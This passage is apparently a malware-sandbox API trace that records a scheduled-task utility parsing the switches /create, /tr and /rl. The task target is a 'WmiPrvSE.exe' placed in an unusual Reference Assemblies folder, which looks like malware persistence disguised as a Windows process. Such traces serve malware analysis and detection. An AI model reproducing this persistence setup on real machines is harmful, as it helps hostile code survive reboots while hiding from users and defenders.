_Buf2=0xff901b08, _Size=0x7) returned 0 [0089.353] lstrlenW (lpString="9") returned 1 [0089.353] lstrlenW (lpString="9") returned 1 [0089.353] lstrlenW (lpString=" \x09") returned 2 [0089.353] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0089.353] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0089.353] GetLastError () returned 0x0 [0089.353] lstrlenW (lpString="9") returned 1 [0089.353] lstrlenW (lpString="9") returned 1 [0089.353] GetProcessHeap () returned 0x200000 [0089.353] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x4) returned 0x215590 [0089.353] SetLastError (dwErrCode=0x0) [0089.353] SetLastError (dwErrCode=0x0) [0089.353] lstrlenW (lpString="/tr") returned 3 [0089.353] lstrlenW (lpString="-/") returned 2 [0089.353] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.353] lstrlenW (lpString="create") returned 6 [0089.353] lstrlenW (lpString="create") returned 6 [0089.353] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.353] lstrlenW (lpString="tr") returned 2 [0089.353] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.353] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|create|") returned 8 [0089.353] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.354] lstrlenW (lpString="|create|") returned 8 [0089.354] lstrlenW (lpString="|tr|") returned 4 [0089.354] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0089.354] SetLastError (dwErrCode=0x490) [0089.354] lstrlenW (lpString="?") returned 1 [0089.354] lstrlenW (lpString="?") returned 1 [0089.354] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.354] lstrlenW (lpString="tr") returned 2 [0089.354] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.354] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|?|") returned 3 [0089.354] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.354] lstrlenW (lpString="|?|") returned 3 [0089.354] lstrlenW (lpString="|tr|") returned 4 [0089.354] SetLastError (dwErrCode=0x490) [0089.354] lstrlenW (lpString="s") returned 1 [0089.354] lstrlenW (lpString="s") returned 1 [0089.354] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.354] lstrlenW (lpString="tr") returned 2 [0089.354] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.354] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|s|") returned 3 [0089.354] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.354] lstrlenW (lpString="|s|") returned 3 [0089.354] lstrlenW (lpString="|tr|") returned 4 [0089.354] SetLastError (dwErrCode=0x490) [0089.354] lstrlenW (lpString="u") returned 1 [0089.354] lstrlenW (lpString="u") returned 1 [0089.354] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.354] lstrlenW (lpString="tr") returned 2 [0089.354] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.355] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|u|") returned 3 [0089.355] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.355] lstrlenW (lpString="|u|") returned 3 [0089.355] lstrlenW (lpString="|tr|") returned 4 [0089.355] SetLastError (dwErrCode=0x490) [0089.355] lstrlenW (lpString="p") returned 1 [0089.355] lstrlenW (lpString="p") returned 1 [0089.355] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.355] lstrlenW (lpString="tr") returned 2 [0089.355] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.355] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|p|") returned 3 [0089.355] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.355] lstrlenW (lpString="|p|") returned 3 [0089.355] lstrlenW (lpString="|tr|") returned 4 [0089.355] SetLastError (dwErrCode=0x490) [0089.355] lstrlenW (lpString="ru") returned 2 [0089.355] lstrlenW (lpString="ru") returned 2 [0089.355] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.355] lstrlenW (lpString="tr") returned 2 [0089.355] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.355] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ru|") returned 4 [0089.355] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.355] lstrlenW (lpString="|ru|") returned 4 [0089.355] lstrlenW (lpString="|tr|") returned 4 [0089.355] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0089.355] SetLastError (dwErrCode=0x490) [0089.355] lstrlenW (lpString="rp") returned 2 [0089.355] lstrlenW (lpString="rp") returned 2 [0089.355] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.355] lstrlenW (lpString="tr") returned 2 [0089.355] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.356] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rp|") returned 4 [0089.356] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.356] lstrlenW (lpString="|rp|") returned 4 [0089.356] lstrlenW (lpString="|tr|") returned 4 [0089.356] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0089.356] SetLastError (dwErrCode=0x490) [0089.356] lstrlenW (lpString="sc") returned 2 [0089.356] lstrlenW (lpString="sc") returned 2 [0089.356] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.356] lstrlenW (lpString="tr") returned 2 [0089.356] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.356] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.356] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.356] lstrlenW (lpString="|sc|") returned 4 [0089.356] lstrlenW (lpString="|tr|") returned 4 [0089.356] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0089.356] SetLastError (dwErrCode=0x490) [0089.356] lstrlenW (lpString="mo") returned 2 [0089.356] lstrlenW (lpString="mo") returned 2 [0089.356] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.356] lstrlenW (lpString="tr") returned 2 [0089.356] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.356] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.356] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.356] lstrlenW (lpString="|mo|") returned 4 [0089.356] lstrlenW (lpString="|tr|") returned 4 [0089.356] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0089.356] SetLastError (dwErrCode=0x490) [0089.356] lstrlenW (lpString="d") returned 1 [0089.356] lstrlenW (lpString="d") returned 1 [0089.357] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.357] lstrlenW (lpString="tr") returned 2 [0089.357] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.357] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|d|") returned 3 [0089.357] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.357] lstrlenW (lpString="|d|") returned 3 [0089.357] lstrlenW (lpString="|tr|") returned 4 [0089.357] SetLastError (dwErrCode=0x490) [0089.357] lstrlenW (lpString="m") returned 1 [0089.357] lstrlenW (lpString="m") returned 1 [0089.357] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.357] lstrlenW (lpString="tr") returned 2 [0089.357] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.357] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|m|") returned 3 [0089.357] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.357] lstrlenW (lpString="|m|") returned 3 [0089.357] lstrlenW (lpString="|tr|") returned 4 [0089.357] SetLastError (dwErrCode=0x490) [0089.357] lstrlenW (lpString="i") returned 1 [0089.357] lstrlenW (lpString="i") returned 1 [0089.357] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.357] lstrlenW (lpString="tr") returned 2 [0089.357] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.357] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|i|") returned 3 [0089.357] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.357] lstrlenW (lpString="|i|") returned 3 [0089.357] lstrlenW (lpString="|tr|") returned 4 [0089.357] SetLastError (dwErrCode=0x490) [0089.357] lstrlenW (lpString="tn") returned 2 [0089.357] lstrlenW (lpString="tn") returned 2 [0089.357] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.358] lstrlenW (lpString="tr") returned 2 [0089.358] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.358] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.358] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.358] lstrlenW (lpString="|tn|") returned 4 [0089.358] lstrlenW (lpString="|tr|") returned 4 [0089.358] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0089.358] SetLastError (dwErrCode=0x490) [0089.358] lstrlenW (lpString="tr") returned 2 [0089.358] lstrlenW (lpString="tr") returned 2 [0089.358] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.358] lstrlenW (lpString="tr") returned 2 [0089.358] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.358] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.358] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tr|") returned 4 [0089.358] lstrlenW (lpString="|tr|") returned 4 [0089.358] lstrlenW (lpString="|tr|") returned 4 [0089.358] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0089.358] SetLastError (dwErrCode=0x0) [0089.358] SetLastError (dwErrCode=0x0) [0089.358] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.358] lstrlenW (lpString="-/") returned 2 [0089.358] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0089.358] SetLastError (dwErrCode=0x490) [0089.358] SetLastError (dwErrCode=0x490) [0089.358] SetLastError (dwErrCode=0x0) [0089.358] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.358] StrChrIW (lpStart="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'" [0089.358] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.358] _memicmp (_Buf1=0x21c4b0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.358] _memicmp (_Buf1=0x21d680, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.359] SetLastError (dwErrCode=0x7a) [0089.359] SetLastError (dwErrCode=0x0) [0089.359] SetLastError (dwErrCode=0x0) [0089.359] lstrlenW (lpString="'C") returned 2 [0089.359] lstrlenW (lpString="-/") returned 2 [0089.359] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0089.359] SetLastError (dwErrCode=0x490) [0089.359] SetLastError (dwErrCode=0x490) [0089.359] SetLastError (dwErrCode=0x0) [0089.359] _memicmp (_Buf1=0x21d6e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.359] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.359] GetProcessHeap () returned 0x200000 [0089.359] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d700) returned 1 [0089.359] GetProcessHeap () returned 0x200000 [0089.359] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21d700, Size=0x8a) returned 0x21c3f0 [0089.359] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.359] lstrlenW (lpString=" \x09") returned 2 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0089.359] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0089.359] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0089.360] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0089.360] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0089.360] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.361] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0089.361] GetLastError () returned 0x0 [0089.361] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.361] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0089.361] SetLastError (dwErrCode=0x0) [0089.361] SetLastError (dwErrCode=0x0) [0089.361] lstrlenW (lpString="/rl") returned 3 [0089.361] lstrlenW (lpString="-/") returned 2 [0089.361] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.361] lstrlenW (lpString="create") returned 6 [0089.361] lstrlenW (lpString="create") returned 6 [0089.361] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.361] lstrlenW (lpString="rl") returned 2 [0089.361] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.361] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|create|") returned 8 [0089.362] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.362] lstrlenW (lpString="|create|") returned 8 [0089.362] lstrlenW (lpString="|rl|") returned 4 [0089.362] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0089.362] SetLastError (dwErrCode=0x490) [0089.362] lstrlenW (lpString="?") returned 1 [0089.362] lstrlenW (lpString="?") returned 1 [0089.362] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.362] lstrlenW (lpString="rl") returned 2 [0089.362] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.362] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|?|") returned 3 [0089.362] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.362] lstrlenW (lpString="|?|") returned 3 [0089.362] lstrlenW (lpString="|rl|") returned 4 [0089.362] SetLastError (dwErrCode=0x490) [0089.362] lstrlenW (lpString="s") returned 1 [0089.362] lstrlenW (lpString="s") returned 1 [0089.362] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.362] lstrlenW (lpString="rl") returned 2 [0089.362] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.362] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|s|") returned 3 [0089.362] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.362] lstrlenW (lpString="|s|") returned 3 [0089.362] lstrlenW (lpString="|rl|") returned 4 [0089.362] SetLastError (dwErrCode=0x490) [0089.362] lstrlenW (lpString="u") returned 1 [0089.362] lstrlenW (lpString="u") returned 1 [0089.362] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.362] lstrlenW (lpString="rl") returned 2 [0089.362] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.363] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|u|") returned 3 [0089.363] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.363] lstrlenW (lpString="|u|") returned 3 [0089.363] lstrlenW (lpString="|rl|") returned 4 [0089.363] SetLastError (dwErrCode=0x490) [0089.363] lstrlenW (lpString="p") returned 1 [0089.363] lstrlenW (lpString="p") returned 1 [0089.363] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.363] lstrlenW (lpString="rl") returned 2 [0089.363] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.363] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|p|") returned 3 [0089.363] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.363] lstrlenW (lpString="|p|") returned 3 [0089.363] lstrlenW (lpString="|rl|") returned 4 [0089.363] SetLastError (dwErrCode=0x490) [0089.363] lstrlenW (lpString="ru") returned 2 [0089.363] lstrlenW (lpString="ru") returned 2 [0089.363] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.363] lstrlenW (lpString="rl") returned 2 [0089.363] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.363] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ru|") returned 4 [0089.363] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.363] lstrlenW (lpString="|ru|") returned 4 [0089.363] lstrlenW (lpString="|rl|") returned 4 [0089.363] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0089.363] SetLastError (dwErrCode=0x490) [0089.363] lstrlenW (lpString="rp") returned 2 [0089.363] lstrlenW (lpString="rp") returned 2 [0089.363] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.363] lstrlenW (lpString="rl") returned 2 [0089.363] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.363] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rp|") returned 4 [0089.364] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.364] lstrlenW (lpString="|rp|") returned 4 [0089.364] lstrlenW (lpString="|rl|") returned 4 [0089.364] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0089.364] SetLastError (dwErrCode=0x490) [0089.364] lstrlenW (lpString="sc") returned 2 [0089.364] lstrlenW (lpString="sc") returned 2 [0089.364] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.364] lstrlenW (lpString="rl") returned 2 [0089.364] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.364] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.364] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.364] lstrlenW (lpString="|sc|") returned 4 [0089.364] lstrlenW (lpString="|rl|") returned 4 [0089.364] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0089.364] SetLastError (dwErrCode=0x490) [0089.364] lstrlenW (lpString="mo") returned 2 [0089.364] lstrlenW (lpString="mo") returned 2 [0089.364] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.364] lstrlenW (lpString="rl") returned 2 [0089.364] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.364] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.364] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.364] lstrlenW (lpString="|mo|") returned 4 [0089.364] lstrlenW (lpString="|rl|") returned 4 [0089.364] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0089.364] SetLastError (dwErrCode=0x490) [0089.365] lstrlenW (lpString="d") returned 1 [0089.365] lstrlenW (lpString="d") returned 1 [0089.365] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.365] lstrlenW (lpString="rl") returned 2 [0089.365] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.365] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|d|") returned 3 [0089.365] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rl|") returned 4 [0089.365] lstrlenW (lpString="|d|") returned 3 [0089.365] lstrlenW (lpString="|rl|") returned 4 [0089.365] SetLastError (dwErrCode=0x490) [0089.365] lstrlenW 